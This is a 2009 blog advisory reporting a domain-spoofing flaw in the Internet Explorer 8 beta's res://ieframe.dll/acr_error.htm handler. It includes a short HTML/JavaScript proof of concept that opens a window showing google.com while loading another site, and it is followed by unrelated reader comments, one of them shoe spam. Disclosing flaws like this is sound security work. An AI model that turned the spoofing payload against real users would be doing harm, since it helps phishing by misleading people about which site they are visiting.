Monday, March 9, 2009

IE8 beta RC1 res://ieframe.dll/acr_error.htm Spoff

IE8 beta RC1 res://ieframe.dll/acr_error.htm Spoff
Vendor page: www.microsoft.com
Advisore:http://lostmon.blogspot.com/
2009/03/ie8-beta-rc1-resieframedllacrerrorhtm.html
vendor notify:yes exploit available:yes
############################################


Internet explorer 8 has a flaw that allows remote users to
spooff the domain name in 'ieframe.dll' wen is set to
'acr_error.htm' in res: uri handler a remote user can
compose a Bad link thats shows in domain name for example
google.com , but wen click in the link it goes to other
site (spooffing)

#################
Proof of concept
#################
<html>
<head>
<script type="text/javascript">
function open_win()
{
window.open("res://ieframe.dll/acr_error.htm#http://www.google.com/,http://Lostmon.blogspot.com","_blank","toolbar=yes, location=no, directories=no, status=no, menubar=yes, scrollbars=no, resizable=no, copyhistory=no");
}
</script>
</head>
<title>..:[-IE8 res://ieframe.dll/acr_error.htm Domain name Spoff -]:..</title>

<body>
<form>
<input type="button" value="Open Window" onclick="open_win()">
</form>
</body>

</html>




#######################################

Thnx To estrella to be my ligth
Thnx to all Lostmon Team

3 comments:


  1. 什么鸟文
    看不懂
    小杰过来看下你

    ReplyDelete
  2. how do I fix the problem it is very annoying ..thanks

    ReplyDelete
  3. Christian Louboutin is very successful in the area of Louboutin Shoes
    . The Christian Louboutin Pumps
    which are designed by him are so special. Looking at the gorgeous Christian Louboutin Boots
    , I smiled. Since then, Christian Louboutin Sandals
    became a best friend of mine.

    ReplyDelete